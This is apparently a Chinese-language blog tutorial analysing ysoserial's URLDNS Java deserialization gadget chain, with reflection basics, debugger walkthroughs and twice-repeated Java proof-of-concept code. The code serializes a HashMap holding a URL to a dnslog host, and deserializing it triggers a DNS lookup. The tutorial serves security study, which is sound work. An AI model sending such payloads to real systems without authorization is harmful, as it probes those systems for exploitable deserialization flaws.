从0解析 ysoserial URLDNS链

什么是ysoserial

ysoserial是一款Java反序列化利用工具,可以理解为payload生成器,而Java反序列化中的payload通常是一条利用链,叫做gadget chain,这就和PHP 反序列化构造利用链是类似的道理,如果了解过PHP 反序列化的话相信不是太难理解利用链的概念,再抽象一点,就像在Flask+jinja2模板注入中,通过变量到基类,然后从基类到子类一步一步找到执行系统命令/文件读取的函数,这也算得上是一种利用链。

ysoserial地址:https://github.com/frohoff/ysoserial (salute!

在ysoserial根据组件或者环境不同内置了数条利用链,其中urldns这条利用链使用的组件是Java原生的类与方法,应该适用于所有情况。

urldns链生成的payload执行后会产生一个dns query,如果在dnslog平台看到了该请求则可以认为存在Java反序列化漏洞。

部分Java基础知识

在讲具体代码之前还需要说一下部分用到的Java知识

URLStreamHandler类

抽象类URLStreamHandler是所有流协议处理程序的通用父类。流协议处理程序知道如何为特定协议类型(如http、ftp或gopher)建立连接
在大多数情况下,URLStreamHandler子类的实例不是由应用程序直接创建的。相反,在构造URL时第一次遇到协议名时,会自动加载相应的流协议处理程序。

URL类

image-20220507223626277

可以理解为通过url类把一个字符串url处理成Java可以理解的url格式。

HashMap类

Java中的Map是一个接口,不能实例化Map类,而是使用implemented Map的类,如hashmap,treemap。

map是key-value键值对,其中key是不可重复的,hashmap使用哈希算法对key去重,效率更高。

hashmap.put()

hashmap.put()方法将一个k,v(key,value)放入hashmap实例中。

Field类

Field 是一个类,位于 java.lang.reflect 包下。在 java 反射中 Field 类描述的是类的属性,功能包括:

  • 获取当前对象的成员变量的类型
  • 对成员变量重新设值

field.setAccessible(true)

正常 set(Object obj, Object value) 时,修改 final 类型的变量会导致 IllegalAccessException。由于 Field 继承自 AccessibleObject,我们可以使用 AccessibleObject.setAccessible() 方法告诉安全机制,这个变量可以访问即可解决,如 field.setAccessible(true)。

getField

  • getField() 方法,获取一个类的 public 成员变量,包括基类
  • getDeclaredField() 方法,获取一个类的 所有成员变量,不包括基类

set()

Field类的set方法其实就有点反射的意思了,首先需要通过getDeclaredField方法获取某个属性,如

1
Field hashcode=u.getClass().getDeclaredField("hashCode");

然后将hashcode设置为可访问

1
hashcode.setAccessible(true);

然后将hashcode的属性值设为某个值:

1
hashcode.set(u,-1);

在这个过程中我认为有点invoke的感觉,正常设置某个属性的值应该是u.hashcode=-1。

使用reflection的话,通过**Reflections.setFieldValue(u, “hashCode”, -1);**也可以修改hashcode的值。

payload生成分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package ysoserial.test;

import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;

public class URLDNStest implements Serializable {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
/* URLStreamHandler handler= new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}先不管这部分代码,后面会解释
};*/
HashMap ht=new HashMap();
String url="http://test.5.0x4.cc";
URL u=new URL(null,url,handler);
ht.put(u,url);
Field hashcode=u.getClass().getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(u,-1);
ObjectOutputStream stream = new ObjectOutputStream(new FileOutputStream("D:\\javaVulnsStu\\ysoserial\\test.data"));
stream.writeObject(ht);

//反序列化生成的payload
ObjectInputStream stream1 = new ObjectInputStream(new FileInputStream("D:\\javaVulnsStu\\ysoserial\\test.data"));
stream1.readObject();

}
}



在**ht.put(u,url)处下断点调试,首先跟到的是putval()**方法

image-20220507225735847

接下来跟到了HashMap.java的hash()方法,发现调用了hashcode()方法,继续跟进hashcode()方法发现到了URL.JAVA的hashcode()方法中

image-20220507230003967

因为handler是URLStreamHandler,所以后面需要调用URLStreamHandler类的**hashCode()**方法

image-20220507230105818

确实到了URLStreamHandler类的**hashCode()方法中,我们重点关注getHostAddress()**方法

发现进入getHostAddress()方法后调用了getHost()getByName()方法,通过查阅文档,发现InetAddress.getByName方法是用来获取主机ip地址的,如果是一个url,则会进行一次dns查询。当前dnslog解析记录为空

image-20220507230427145

image-20220507230509531

执行完这句话之后可以看到了dnslog上收到了解析记录。

image-20220507230643021

那么到此为止payload生成就结束了,调用链为

1
2
3
4
HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() 
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName

但是在这里只是生成payload,并不希望发送真正的dnslog解析请求,所以需要上面代码注释的部分,重写URLStreamHandlergetHostAddress()方法,使得exp只生成payload而不发送dnslog解析请求。我们这一步的目的是生成payload且不发送dns解析请求所以重写了上述方法,而生成payload打过去之后目标服务肯定不会重写这个方法。

在payload生成完之后通过输出流写到文件中,至此payload生成分析结束。

payload反序列化调用分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package ysoserial.test;

import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;

public class URLDNStest implements Serializable {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
URLStreamHandler handler= new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
};
HashMap ht=new HashMap();
String url="http://test.5.0x4.cc";
URL u=new URL(null,url,handler);
ht.put(u,url);
Field hashcode=u.getClass().getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(u,-1);
ObjectOutputStream stream = new ObjectOutputStream(new FileOutputStream("D:\\javaVulnsStu\\ysoserial\\test.data"));
stream.writeObject(ht);

//反序列化生成的payload
ObjectInputStream stream1 = new ObjectInputStream(new FileInputStream("D:\\javaVulnsStu\\ysoserial\\test.data"));
stream1.readObject();

}
}



重点看最后两行代码,在Java中使用readobject方法反序列化对象,在hashmap中也下断点调试一下

image-20220507234049673

在跟到putval的时候,image-20220507235041745

发现后面会调用到在**u.hostAddress = InetAddress.getByName(host);**下的断点,跟进去就可以看到下一步就是进行域名解析了

image-20220507235125482

后面dnslog平台也受到了解析请求

image-20220507235155590

参考链接

https://lucifer-rossweisse.github.io/2022/04/10/web%E5%AD%A6%E4%B9%A0/java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E9%93%BE%E5%AD%90

https://cloud.tencent.com/developer/article/1940432

https://www.cnblogs.com/nice0e3/p/13772184.html